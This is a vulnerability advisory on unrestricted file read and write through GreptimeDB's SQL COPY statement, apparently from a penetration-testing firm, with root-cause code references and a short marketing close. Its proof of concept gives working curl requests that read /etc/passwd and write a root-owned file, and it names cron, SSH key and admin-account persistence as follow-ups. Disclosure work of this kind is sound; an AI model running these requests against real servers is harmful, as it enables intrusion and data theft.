GreptimeDB: Arbitrary File Read and Write as root via SQL `COPY`

The SQL COPY statement of GreptimeDB accesses the server filesystem without a path restriction. In the default configuration an anonymous attacker reads and writes arbitrary host files as root.

Advisory ID: TP-2026-173
Product: GreptimeDB (open-source observability database for metrics, logs and traces)
Vulnerability type: Path traversal, arbitrary file read and write (CWE-22)
CVE: not requested
CVSS 3.1: 9.8 (Critical) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected versions: GreptimeDB up to and including 1.1.4 (verified live: 1.1.2)
Fixed in: GreptimeDB 1.2.0
Reported: 11 July 2026

Summary

GreptimeDB is an open-source observability database that serves metrics, logs and traces over SQL, the MySQL protocol and the PostgreSQL protocol. The SQL statement COPY reads and writes files on the server's local filesystem. The server does not confine the path to a directory and has no separate privilege for file access. The default configuration runs without authentication, and the official image runs the process as root. An anonymous attacker with network access to one of the protocol ports reads and writes arbitrary host files as root.

Root cause

build_fs_backend builds the local object store with the caller-supplied directory as its root (src/common/datasource/src/object_store/fs.rs:22-28). build_backend routes every scheme-less path and every fs:// URL there, without canonicalization and without binding it to data_home (src/common/datasource/src/object_store.rs:66-103). COPY ... FROM reads the file through this store into a table (src/operator/src/statement/copy_table_from.rs:98-130) and COPY ... TO writes table rows to the path (src/operator/src/statement/copy_table_to.rs:165-186); COPY DATABASE and CREATE EXTERNAL TABLE ... LOCATION use the same function. The permission check only separates read from write and has no filesystem or superuser privilege (src/auth/src/permission.rs:112-143), and COPY counts as a write statement (src/sql/src/statements/statement.rs:207). Without --user-provider the server accepts statements without authentication.

Proof of Concept

curl -s http://<host>:4000/v1/sql --data-urlencode \
  "sql=CREATE TABLE s (content STRING, ts TIMESTAMP TIME INDEX DEFAULT 0, PRIMARY KEY(content))"
curl -s http://<host>:4000/v1/sql --data-urlencode \
  "sql=COPY s FROM '/etc/passwd' WITH (FORMAT='csv', delimiter='1', has_header='false')"
curl -s http://<host>:4000/v1/sql --data-urlencode "sql=SELECT content FROM s"

curl -s http://<host>:4000/v1/sql --data-urlencode \
  "sql=CREATE TABLE o (payload STRING, ts TIMESTAMP TIME INDEX)"
curl -s http://<host>:4000/v1/sql --data-urlencode "sql=INSERT INTO o VALUES ('written-by-copy', 1)"
curl -s http://<host>:4000/v1/sql --data-urlencode \
  "sql=COPY o TO '/etc/copy_write_test.json' WITH (FORMAT='json')"

has_header='false' switches to positional column mapping, and a delimiter that does not occur in the target file turns every line into one field; the SELECT returns /etc/passwd line by line. The second block creates /etc/copy_write_test.json owned by root:root with the table content.

Impact

  • Anonymous read of every file the server process can read, including the configuration with object-storage keys, TLS private keys and the static_user_provider user file with plaintext passwords.
  • Creation and overwrite of arbitrary files as root, including /etc/cron.d, authorized_keys and the user file, into which an attacker writes an administrator account of their own.
  • Reachable over HTTP (4000), MySQL (4002) and PostgreSQL (4003), and over gRPC (4001), which uses the same statement path.
  • With authentication enabled, an account with write permission on data is enough (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, 8.8).

References

Is Something Like This in Your Software?

Our team discovered this vulnerability during its work. Have your applications reviewed by the same specialists, with a penetration test from turingpoint.